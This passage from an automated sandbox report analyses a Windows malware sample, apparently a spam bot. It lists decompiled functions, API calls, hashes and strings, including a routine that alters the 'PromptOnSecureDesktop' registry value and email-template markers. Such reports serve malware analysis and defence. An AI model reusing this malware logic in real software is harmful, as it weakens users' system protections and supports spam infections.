0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C4168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 006C4194
GetLastError.KERNEL32 ref: 006C419E
WaitForSingleObject.KERNEL32(?,?), ref: 006C41AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 006C41C2

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: ec5ab060a5977e5fbb397ce3d2950b436cfbe7bb9ad0dcb19399c61c1b723f24
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: ED01D372511109ABDB02DF90ED84BEE7BBDFB18356F104065F901E2150EB709AA48BA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C41DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 006C4208
GetLastError.KERNEL32 ref: 006C4212
WaitForSingleObject.KERNEL32(?,?), ref: 006C4223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 006C4236

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 140c48481d8b4893f1af149878c7d8ae0d6ea196b097b9ae4b9aa152d3cbb41d
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: 4201E272511209ABDF01DF90ED85BEE7BADEB08396F108065F901E2150DB749A548BB6

Uniqueness

Uniqueness Score: -1.00%

Function 006CE01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 006CE04F

Strings

A, xrefs: 006CE020, 006CE025
A, xrefs: 006CE01F
A, xrefs: 006CE068

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: 76362bcc9506426065359d450592b733fdea13357275e8f5878f91a8f798b848
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 2AF04F717006029BCB308F15D884EE2B7BAFB15321B44866EE164C3260D3B5A9A4CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 006CE3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,006C44CB,00000000,00000000,00000000), ref: 006CE459
CloseHandle.KERNEL32(00000001,00000003), ref: 006CE46D

Part of subcall function 006CE2E5: RegCreateKeyExA.ADVAPI32(80000001,006CE4F3,00000000,00000000,00000000,00020106,00000000,006CE4F3,00000000,000000E4), ref: 006CE302
Part of subcall function 006CE2E5: RegSetValueExA.ADVAPI32(006CE4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE377
Part of subcall function 006CE2E5: RegDeleteValueA.ADVAPI32(006CE4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE3A8
Part of subcall function 006CE2E5: RegCloseKey.ADVAPI32(006CE4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,006CE4F3), ref: 006CE3B1

Strings

PromptOnSecureDesktop, xrefs: 006CE4DA, 006CE4DF, 006CE520, 006CE54A

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 805359a83337208ea444154634a954fad7f6d3dac2b0ce267ee1b6ee032aa9e9
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: 0341ECB2940204BADB24AF518C46FFB3B7EDF04754F10806DFE0995192F6B6CA50D6B8

Uniqueness

Uniqueness Score: -1.00%

Function 006C8319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 006C83AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 006C8460

Part of subcall function 006C69AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 006C69CE
Part of subcall function 006C69AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 006C6A0F
Part of subcall function 006C69AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 006C6A23

Part of subcall function 006CEE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,006C1DB8,?), ref: 006CEE91
Part of subcall function 006CEE7E: HeapFree.KERNEL32(00000000), ref: 006CEE98

Strings

PromptOnSecureDesktop, xrefs: 006C839B, 006C83A0, 006C846C

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: f1b2c935892d6817c95611e09c25321d0586f58ae370e9807d21b0f54ba89f48
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 50417FB290010ABEEB24EBA09D81FFE77BEDB44300F14847EF504E7111EA749E948B55

Uniqueness

Uniqueness Score: -1.00%

Function 006CE61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,006CE842,00000000,00020119,006CE842,PromptOnSecureDesktop), ref: 006CE636
RegCloseKey.ADVAPI32(006CE842,?,?,?,?,000000C8,000000E4), ref: 006CE770

Strings

PromptOnSecureDesktop, xrefs: 006CE620

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: 61e3c918ff80264c451685179a07dfb249be75e508080c45b4bad35e03dc7496
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: D8410AB2D0021DBFDF11AF94DD81EFEBBBEEB14304F14406AE910B2151E3729A558B60

Uniqueness

Uniqueness Score: -1.00%

Function 006CAFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 006CAFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 006CAFF6

Part of subcall function 006CAF58: gethostname.WS2_32(?,00000080), ref: 006CAF6C
Part of subcall function 006CAF58: lstrcpy.KERNEL32(?,00410B90), ref: 006CAFCF

Part of subcall function 006C3305: gethostname.WS2_32(?,00000080), ref: 006C3328
Part of subcall function 006C3305: gethostbyname.WS2_32(?), ref: 006C3332

Part of subcall function 006CA9F3: inet_ntoa.WS2_32(00000000), ref: 006CA9F9

Strings

%OUTLOOK_BND_, xrefs: 006CB05F, 006CB064, 006CB0A7, 006CB0C6

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: 202ae7615bf5ade86d9f81693755611fbe6cc1a13641e880e3dbdb671edec304
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 454110B290025CABDB25EFA0DC46FEF37AEFB04344F14442EB92492152EB75D954CB54

Uniqueness

Uniqueness Score: -1.00%

Function 006C943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 006C951F
Sleep.KERNEL32(000001F4), ref: 006C9546

Strings

, xrefs: 006C94C2

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: 9a8a461b9c646d79a38ea5348695ddded99ca015ccceace01c6d79fc028733eb
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: 724129718083946EEB3A8764D88CFF63BE6DB02310F5881EDD49697292D6B44D828771

Uniqueness

Uniqueness Score: -1.00%

Function 006CBC63, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 006CBA23
InterlockedIncrement.KERNEL32(?), ref: 006CBA7D
GetTickCount.KERNEL32 ref: 006CBB62
GetTickCount.KERNEL32 ref: 006CBB82
InterlockedIncrement.KERNEL32(?), ref: 006CBDFE
closesocket.WS2_32(00000000), ref: 006CBE9D

Strings

%FROM_EMAIL, xrefs: 006CBC66

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: 95b260c8c5e44bc0a79172263ca73da0ddf56ffe5cddda352bf8db4f55b0cfd3
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: FB315A714002489FDB25DFA4DC46FF977AAEB48B00F20405EFA2592251DB35AA84CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

